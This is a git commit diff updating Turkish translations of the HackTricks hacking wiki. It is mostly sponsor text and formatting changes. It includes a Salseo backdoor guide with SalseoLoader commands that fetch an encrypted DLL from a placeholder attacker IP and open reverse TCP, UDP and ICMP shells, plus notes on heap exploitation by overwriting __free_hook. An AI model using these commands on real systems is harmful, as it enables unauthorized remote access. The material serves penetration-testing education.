Translated ['README.md', 'backdoors/salseo.md', 'binary-exploitation/arb

This commit is contained in:
Translator 2024-07-18 17:54:59 +00:00
parent 8ce299257f
commit 5a40235502
112 changed files with 4703 additions and 4047 deletions

BIN
.gitbook/assets/arte.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 756 KiB

BIN
.gitbook/assets/grte.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 879 KiB

View file

@ -8,7 +8,7 @@ _Hacktricks logos & motion design by_ [_@ppiernacho_](https://www.instagram.com/
**Wiki'ye hoş geldiniz, burada CTF'lerden, gerçek uygulamalardan, araştırmalardan ve haberlerden öğrendiğim her hackleme hilesini/teknikleri/bilgiyi bulacaksınız.**
{% endhint %}
Başlamak için, bir veya daha fazla makineyi pentest ettiğinizde **izlemeniz gereken tipik akışı** bulacağınız bu sayfayı takip edin:
Başlamak için, bir veya daha fazla **makineyi pentest ettiğinizde izlemeniz gereken tipik akışı** bulacağınız bu sayfayı takip edin:
{% content-ref url="generic-methodologies-and-resources/pentesting-methodology.md" %}
[pentesting-methodology.md](generic-methodologies-and-resources/pentesting-methodology.md)
@ -32,7 +32,7 @@ Bloglarını [**https://blog.stmcyber.com**](https://blog.stmcyber.com) adresind
<figure><img src=".gitbook/assets/image (45).png" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com), İspanya'daki en ilgili siber güvenlik etkinliği ve Avrupa'daki en önemlilerden biridir. Teknik bilgiyi teşvik etme misyonuyla, bu kongre, teknoloji ve siber güvenlik profesyonelleri için bir buluşma noktasıdır.
[**RootedCON**](https://www.rootedcon.com), İspanya'daki en ilgili siber güvenlik etkinliği ve Avrupa'daki en önemlilerden biridir. Teknik bilgiyi teşvik etme misyonuyla, bu kongre, her disiplindeki teknoloji ve siber güvenlik profesyonelleri için kaynayan bir buluşma noktasıdır.
{% embed url="https://www.rootedcon.com/" %}
@ -42,9 +42,9 @@ Bloglarını [**https://blog.stmcyber.com**](https://blog.stmcyber.com) adresind
<figure><img src=".gitbook/assets/image (47).png" alt=""><figcaption></figcaption></figure>
**Intigriti**, Avrupa'nın #1 etik hackleme ve ödül avcılığı platformudur.
**Intigriti**, Avrupa'nın #1 etik hackleme ve **ödül avı platformudur.**
**Ödül avcılığı ipucu**: **Intigriti'ye** kaydolun, hackerlar tarafından oluşturulan premium bir **ödül avcılığı platformuna katılın**! Bugün [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) adresinden bize katılın ve **100.000 $'a kadar ödüller kazanmaya başlayın**!
**Ödül avı ipucu**: **Intigriti'ye** kaydolun, hackerlar tarafından oluşturulan bir premium **ödül avı platformu!** Bugün [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) adresinde bize katılın ve **100.000 $'a kadar ödüller kazanmaya başlayın!**
{% embed url="https://go.intigriti.com/hacktricks" %}
@ -55,7 +55,7 @@ Bloglarını [**https://blog.stmcyber.com**](https://blog.stmcyber.com) adresind
<figure><img src=".gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturmak ve otomatikleştirmek** için [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanın.
Dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturmak ve otomatikleştirmek** için [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanın.
Bugün Erişim Alın:
@ -71,9 +71,9 @@ Deneyimli hackerlar ve ödül avcıları ile iletişim kurmak için [**HackenPro
* **Hackleme İpuçları:** Hackleme heyecanını ve zorluklarını inceleyen içeriklerle etkileşime girin
* **Gerçek Zamanlı Hack Haberleri:** Hızlı tempolu hackleme dünyasında gerçek zamanlı haberler ve içgörülerle güncel kalın
* **En Son Duyurular:** Başlatılan en yeni ödül avcılıkları ve önemli platform güncellemeleri hakkında bilgi sahibi olun
* **En Son Duyurular:** Yeni ödül avlarının başlatılması ve önemli platform güncellemeleri hakkında bilgili olun
Bugün [**Discord**](https://discord.com/invite/N3FrSbmwdy) adresinde bize katılın ve bugün en iyi hackerlarla işbirliği yapmaya başlayın!
Bugün [**Discord**](https://discord.com/invite/N3FrSbmwdy) adresinde bize katılın ve en iyi hackerlarla işbirliği yapmaya başlayın!
***
@ -81,7 +81,7 @@ Bugün [**Discord**](https://discord.com/invite/N3FrSbmwdy) adresinde bize katı
<figure><img src=".gitbook/assets/image (15) (1).png" alt=""><figcaption></figcaption></figure>
**Vulnerability assessment & penetration testing için anında kullanılabilir kurulum**. 20'den fazla araç ve özellikle tam bir pentest çalıştırın, keşiften raporlamaya kadar. Pentester'ları değiştirmiyoruz - onlara daha derine kazma, kabuklar açma ve eğlenme zamanı kazandırmak için özel araçlar, tespit ve istismar modülleri geliştiriyoruz.
**Vulnerabilite değerlendirmesi ve penetrasyon testi için anında kullanılabilir kurulum**. 20'den fazla araç ve özellikle tam bir pentest çalıştırın, keşiften raporlamaya kadar. Pentester'ları değiştirmiyoruz - onlara daha derine kazma, kabuklar açma ve eğlenme zamanı kazandırmak için özel araçlar, tespit ve istismar modülleri geliştiriyoruz.
{% embed url="https://pentest-tools.com/" %}
@ -91,7 +91,7 @@ Bugün [**Discord**](https://discord.com/invite/N3FrSbmwdy) adresinde bize katı
<figure><img src=".gitbook/assets/image (5) (1).png" alt=""><figcaption></figcaption></figure>
SerpApi, **arama motoru sonuçlarına erişmek** için hızlı ve kolay gerçek zamanlı API'lar sunar. Arama motorlarını kazır, proxy'leri yönetir, captcha'ları çözer ve sizin için tüm zengin yapılandırılmış verileri ayrıştırır.
SerpApi, **arama motoru sonuçlarına erişmek** için hızlı ve kolay gerçek zamanlı API'lar sunar. Arama motorlarını kazır, proxy'leri yönetir, captchaları çözer ve tüm zengin yapılandırılmış verileri sizin için ayrıştırır.
SerpApi'nin planlarından birine abone olmak, Google, Bing, Baidu, Yahoo, Yandex ve daha fazlasını içeren farklı arama motorlarını kazımak için 50'den fazla farklı API'ye erişim sağlar.\
Diğer sağlayıcılardan farklı olarak, **SerpApi sadece organik sonuçları kazımaz**. SerpApi yanıtları tutarlı bir şekilde tüm reklamları, iç içe resimleri ve videoları, bilgi grafiklerini ve arama sonuçlarında bulunan diğer unsurları ve özellikleri içerir.
@ -114,13 +114,13 @@ Daha fazla bilgi için [**bloglarını**](https://serpapi.com/blog/) kontrol edi
<figure><img src=".gitbook/assets/websec (1).svg" alt=""><figcaption></figcaption></figure>
[**WebSec**](https://websec.nl), modern bir yaklaşımla işletmeleri dünya genelindeki en son siber güvenlik tehditlerine karşı koruyan Amsterdam merkezli profesyonel bir siber güvenlik şirketidir.
[**WebSec**](https://websec.nl), **Amsterdam** merkezli profesyonel bir siber güvenlik şirketidir ve **modern** bir yaklaşımla işletmeleri **dünya çapında** en son siber güvenlik tehditlerine karşı korumaya yardımcı olur.
WebSec, Pentesting, Güvenlik Denetimleri, Farkındalık Eğitimleri, Phishing Kampanyaları, Kod İncelemesi, Sızma Geliştirme, Güvenlik Uzmanları Dış Kaynak Kullanımı ve çok daha fazlasını sağlayarak **her şeyi yapan bir güvenlik şirketidir**.
WebSec, Pentesting, **Güvenlik** Denetimleri, Farkındalık Eğitimleri, Phishing Kampanyaları, Kod İncelemesi, Sızma Geliştirme, Güvenlik Uzmanları Dış Kaynak Kullanımı ve çok daha fazlasını sağlayarak **her şeyi bir arada güvenlik şirketi**dir.
WebSec hakkında başka harika bir şey de, endüstri ortalamasının aksine WebSec'in **becerilerine çok güvendiği**, web sitelerinde "**Eğer hackleyemezsek, ödeme yapmazsınız!**" şeklinde belirtildiği kadarıyla en iyi kalite sonuçları garanti etmesidir. Daha fazla bilgi için [**web sitelerine**](https://websec.nl/en/) ve [**bloglarına**](https://websec.nl/blog/) göz atın!
WebSec hakkında başka harika bir şey, WebSec'in endüstri ortalamasının aksine **becerilerine çok güveniyor** olmasıdır, web sitelerinde "**Eğer hackleyemezsek, Ödeme yapmazsınız!**" şeklinde belirtilmiştir. Daha fazla bilgi için [**web sitelerine**](https://websec.nl/en/) ve [**bloglarına**](https://websec.nl/blog/) göz atın!
Yukarıdakilere ek olarak, WebSec aynı zamanda HackTricks'in kararlı destekçisidir.
Yukarıdakilere ek olarak, WebSec aynı zamanda HackTricks'in **kararlı bir destekçisidir.**
{% embed url="https://www.youtube.com/watch?v=Zq2JycGDCPM" %}
### [WhiteIntel](https://whiteintel.io)
@ -129,7 +129,7 @@ Yukarıdakilere ek olarak, WebSec aynı zamanda HackTricks'in kararlı destekçi
[**WhiteIntel**](https://whiteintel.io), şirketin veya müşterilerinin **hırsız kötü amaçlı yazılımlar** tarafından **kompromize edilip edilmediğini** kontrol etmek için **ücretsiz** işlevler sunan **dark-web** destekli bir arama motorudur.
WhiteIntel'in asıl amacı, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye yazılımı saldırılarıyla mücadele etmektir.
WhiteIntel'in temel amacı, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye yazılımı saldırılarıyla mücadele etmektir.
Websitesini ziyaret edebilir ve motorlarını **ücretsiz** deneyebilirsiniz:
@ -137,7 +137,7 @@ Websitesini ziyaret edebilir ve motorlarını **ücretsiz** deneyebilirsiniz:
## Lisans & Feragatname
Onları kontrol edin:
Onları kontrol et:
{% content-ref url="welcome/hacktricks-values-and-faq.md" %}
[hacktricks-values-and-faq.md](welcome/hacktricks-values-and-faq.md)
@ -148,16 +148,17 @@ Onları kontrol edin:
![HackTricks Github İstatistikleri](https://repobeats.axiom.co/api/embed/68f8746802bcf1c8462e889e6e9302d4384f164b.svg "Repobeats analitik görüntüsü")
{% hint style="success" %}
AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
{% endhint %}

View file

@ -279,7 +279,7 @@
* [PsExec/Winexec/ScExec](windows-hardening/lateral-movement/psexec-and-winexec.md)
* [SmbExec/ScExec](windows-hardening/lateral-movement/smbexec.md)
* [WinRM](windows-hardening/lateral-movement/winrm.md)
* [WmicExec](windows-hardening/lateral-movement/wmicexec.md)
* [WmiExec](windows-hardening/lateral-movement/wmiexec.md)
* [Pivoting to the Cloud](https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements)
* [Stealing Windows Credentials](windows-hardening/stealing-credentials/README.md)
* [Windows Credentials Protections](windows-hardening/stealing-credentials/credentials-protections.md)

View file

@ -1,46 +1,45 @@
# Salseo
{% hint style="success" %}
AWS Hacking'ı öğrenin ve uygulayın: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* **💬 [**Discord grubumuza**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
{% endhint %}
## Derlemeleri Derleme
## Derlemeleri Oluşturma
Kaynak kodunu github'dan indirin ve **EvilSalsa** ve **SalseoLoader**'ı derleyin. Kodu derlemek için **Visual Studio**'nun yüklü olması gerekmektedir.
Bu projeleri, kullanacak olduğunuz Windows işletim sisteminin mimarisi için derleyin (Windows x64 destekliyorsa, o mimari için derleyin).
Bu projeleri, kullanacak olduğunuz Windows işletim sisteminin mimarisi için derleyin (Windows x64'ü destekliyorsa, bu mimari için derleyin).
Mimariyi Visual Studio içinde **sol "Build" sekmesindeki** **"Platform Target"** bölümünden **seçebilirsiniz.**
Mimarisi **Visual Studio içinde** **"Platform Target"** altında **sol "Build" Sekmesinde** seçebilirsiniz.
(\*\*Bu seçenekleri bulamazsanız, **"Project Tab"** üzerine tıklayın ve ardından **"\<Project Name> Properties"** seçeneğine tıklayın)
(\*\*Bu seçenekleri bulamazsanız, **"Project Tab"** üzerine tıklayın ve ardından **"\<Project Name> Özellikleri"**ne tıklayın)
![](<../.gitbook/assets/image (132).png>)
Sonra, her iki projeyi derleyin (Build -> Build Solution) (Log içinde yürütülebilir dosyanın yolunu göreceksiniz):
Daha sonra, her iki projeyi de derleyin (Build -> Build Solution) (Log içinde yürütülebilir dosyanın yolunu göreceksiniz):
![](<../.gitbook/assets/image (1) (2) (1) (1) (1).png>)
## Arka Kapıyı Hazırlama
İlk olarak, **EvilSalsa.dll**'yi şifrelemeniz gerekecek. Bunun için, **encrypterassembly.py** adlı python betiğini kullanabilir veya **EncrypterAssembly** projesini derleyebilirsiniz:
Öncelikle, **EvilSalsa.dll**'yi kodlamalısınız. Bunu yapmak için **encrypterassembly.py** adlı python betiğini kullanabilir veya **EncrypterAssembly** projesini derleyebilirsiniz:
### **Python**
```
python EncrypterAssembly/encrypterassembly.py <FILE> <PASSWORD> <OUTPUT_FILE>
python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.dll.txt
```
### Windows
### Windows
```
EncrypterAssembly.exe <FILE> <PASSWORD> <OUTPUT_FILE>
@ -52,9 +51,9 @@ EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt
## **Arka kapıyı çalıştırın**
### **TCP ters kabuk almak (şifrelenmiş dll'yi HTTP aracılığıyla indirme)**
### **TCP ters kabuk almak (şifrelenmiş dll'yi HTTP üzerinden indirme)**
Ters kabuk dinleyici olarak nc başlatmayı ve şifrelenmiş evilsalsa'yı sunmak için bir HTTP sunucusu başlatmayı unutmayın.
Ters kabuk dinleyici olarak nc'yi başlatmayı ve şifrelenmiş evilsalsa'yı sunmak için bir HTTP sunucusu başlatmayı unutmayın.
```
SalseoLoader.exe password http://<Attacker-IP>/evilsalsa.dll.txt reversetcp <Attacker-IP> <Port>
```
@ -64,7 +63,7 @@ Ters kabuk dinleyici olarak nc'yi başlatmayı ve kodlanmış evilsalsa'yı sunm
```
SalseoLoader.exe password \\<Attacker-IP>/folder/evilsalsa.dll.txt reverseudp <Attacker-IP> <Port>
```
### **ICMP ters kabuk almak (kodlanmış dll zaten kurbanın içinde)**
### **ICMP ters kabuk almak (şifrelenmiş dll zaten kurbanın içinde)**
**Bu sefer ters kabuk almak için istemci tarafında özel bir araca ihtiyacınız var. İndirin:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh)
@ -75,7 +74,7 @@ sysctl -w net.ipv4.icmp_echo_ignore_all=1
#You finish, you can enable it again running:
sysctl -w net.ipv4.icmp_echo_ignore_all=0
```
#### Müşteriyi çalıştırın:
#### İstemciyi çalıştırın:
```
python icmpsh_m.py "<Attacker-IP>" "<Victm-IP>"
```
@ -89,11 +88,11 @@ Visual Studio kullanarak SalseoLoader projesini açın.
### Ana işlevden önce ekle: \[DllExport]
![](<../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
![](<../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
### Bu projeye DllExport yükleyin
#### **Araçlar** --> **NuGet Paket Yöneticisi** --> **Çözüm için NuGet Paketlerini Yönet...**
#### **Araçlar** --> **NuGet Paket Yöneticisi** --> **Çözüm İçin NuGet Paketlerini Yönet...**
![](<../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
@ -101,7 +100,7 @@ Visual Studio kullanarak SalseoLoader projesini açın.
![](<../.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
Projelerinizin klasöründe **DllExport.bat** ve **DllExport\_Configure.bat** dosyaları görünmelidir.
Projeler klasörünüzde **DllExport.bat** ve **DllExport\_Configure.bat** dosyaları görünmelidir.
### DllExport'u kaldırın
@ -109,13 +108,13 @@ Projelerinizin klasöründe **DllExport.bat** ve **DllExport\_Configure.bat** do
![](<../.gitbook/assets/image (5) (1) (1) (2) (1).png>)
### Visual Studio'yu kapatın ve DllExport\_Configure'ı çalıştırın
### Visual Studio'yu kapatın ve DllExport\_configure'ı çalıştırın
Sadece Visual Studio'yu **kapatın**
Sadece **çıkın** Visual Studio'dan
Ardından, **SalseoLoader klasörüne** gidin ve **DllExport\_Configure.bat**'ı çalıştırın
**x64**'ü seçin (eğer bir x64 kutusunda kullanacaksanız, benim durumumda olduğu gibi), **System.Runtime.InteropServices**'ı (DllExport için **Namespace**) seçin ve **Uygula**'yı seçin
**x64**'ü seçin (eğer x64 kutusunda kullanacaksanız, benim durumumda olduğu gibi), **System.Runtime.InteropServices**'ı seçin (**DllExport için Namespace** içinde) ve **Uygula**'yı seçin
![](<../.gitbook/assets/image (7) (1) (1) (1) (1).png>)
@ -135,11 +134,11 @@ Ardından, **SalseoLoader klasörüne** gidin ve **DllExport\_Configure.bat**'ı
![](<../.gitbook/assets/image (9) (1) (1).png>)
Çözümü derlemek için: Derle --> Çözümü Derle (Çıktı konsolunda yeni DLL'nin yolunu göreceksiniz)
Çözümü derlemek için: Derle --> Çözümü Derle (Çıktı konsolunda yeni DLL'nin yolu görünecektir)
### Oluşturulan Dll'yi test edin
Dll'yi test etmek istediğiniz yere kopyalayın.
Dll'yi test etmek istediğiniz yere kopyalayın ve yapıştırın.
Çalıştır:
```
@ -171,16 +170,17 @@ set lport=1337
set shell=reversetcp
rundll32.exe SalseoLoader.dll,main
```
{% hint style="success" %}
AWS Hacking'ı öğrenin ve uygulayın: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'ı öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşın, PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarını paylaşarak PR göndererek HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
{% endhint %}

View file

@ -1,24 +1,25 @@
# WWW2Exec - \_\_malloc\_hook & \_\_free\_hook
{% hint style="success" %}
AWS Hacking'ı öğrenin ve uygulayın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'ı öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks ve HackTricks Cloud github depolarına katkıda bulunun**.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarını paylaşarak PR göndererek HackTricks ve HackTricks Cloud github depolarına katkıda bulunun.**
</details>
{% endhint %}
## **Malloc Hook**
[Resmi GNU sitesine](https://www.gnu.org/software/libc/manual/html\_node/Hooks-for-Malloc.html) göre, **`__malloc_hook`** değişkeni, `malloc()` çağrıldığında **libc kütüphanesinin veri bölümünde depolanan bir işlevin adresine işaret eden bir işaretçidir**. Bu nedenle, bu adres örneğin bir **One Gadget** ile üzerine yazılırsa ve `malloc` çağrılırsa, **One Gadget çağrılacaktır**.
[Resmi GNU sitesine](https://www.gnu.org/software/libc/manual/html\_node/Hooks-for-Malloc.html) göre **`__malloc_hook`** değişkeni, `malloc()` çağrıldığında **libc kütüphanesinin veri bölümünde depolanan bir işlevin adresine işaret eden bir işaretçidir**. Bu nedenle, bu adres örneğin bir **One Gadget** ile üzerine yazılırsa ve `malloc` çağrılırsa, **One Gadget çağrılacaktır**.
Malloc'ı çağırmak için programın onu çağırmasını beklemek veya **`printf("%10000$c")`** çağrısını yaparak çağrılabilir, bu da çok fazla bayt ayırarak `libc`'nin bunları yığında ayırmasını sağlar.
Malloc'ı çağırmak için programın onu çağırmasını beklemek veya **`printf("%10000$c")`** çağrısını yaparak `libc`'in bunları yığında ayırmak için malloc çağırmasını sağlamak mümkündür.
One Gadget hakkında daha fazla bilgi için:
@ -32,17 +33,17 @@ Kancaların **GLIBC >= 2.34** için **devre dışı bırakıldığını** unutma
## Free Hook
Bu, bir hızlı bin saldırısını kötüye kullandıktan sonra bir sıralanmamış bin saldırısını kötüye kullanan sayfadan bir örnekte kötüye kullanıldı:
Bu, bir hızlı bin saldırısını kötüye kullanarak bir sıralanmamış bin saldırısını kötüye kullanan sayfadan bir örnekte kötüye kullanılmıştır:
{% content-ref url="../libc-heap/unsorted-bin-attack.md" %}
[unsorted-bin-attack.md](../libc-heap/unsorted-bin-attack.md)
{% endcontent-ref %}
Eğer ikili sembolleri olan bir ikili varsa, aşağıdaki komutla `__free_hook` adresini bulmak mümkündür:
Eğer ikili dosyada semboller varsa, aşağıdaki komutla `__free_hook` adresini bulmak mümkündür:
```bash
gef➤ p &__free_hook
```
[Post'ta](https://guyinatuxedo.github.io/41-house\_of\_force/bkp16\_cookbook/index.html) semboller olmadan free hook'un adresini nasıl bulacağınıza dair adım adım bir rehber bulabilirsiniz. Özet olarak, free fonksiyonunda:
[Post'ta](https://guyinatuxedo.github.io/41-house\_of\_force/bkp16\_cookbook/index.html) semboller olmadan free hook'un adresini nasıl bulacağınıza dair adım adım bir kılavuz bulabilirsiniz. Özet olarak, free fonksiyonunda:
<pre class="language-armasm"><code class="lang-armasm">gef➤ x/20i free
0xf75dedc0 &#x3C;free>: push ebx
@ -70,12 +71,27 @@ gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
0x7ff1e9e6077f &#x3C;_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000
</code></pre>
* Bu konumda 0x200 boyutunda hızlı bir parça elde edebilirsek, yürütülecek bir fonksiyon işaretçisini üzerine yazmak mümkün olacaktır.
* Bunun için, boyutu `0xfc` olan yeni bir parça oluşturulur ve birleştirilmiş fonksiyon o işaretçiyle iki kez çağrılır, bu şekilde boyutu `0xfc*2 = 0x1f8` olan bir serbest bırakılmış parçanın işaretçisine ulaşılır hızlı binde.
* Ardından, bu parçada edit fonksiyonu çağrılır ve bu hızlı binin **`fd`** adresi önceki **`__free_hook`** fonksiyonuna işaret etmek üzere değiştirilir.
* Daha sonra, hızlı bindeki önceki gereksiz parçayı almak için boyutu `0x1f8` olan bir parça oluşturulur, böylece **`__free_hook`** içinde bir hızlı bin parçası alınır ve **`system`** fonksiyonunun adresiyle üzerine yazılır.
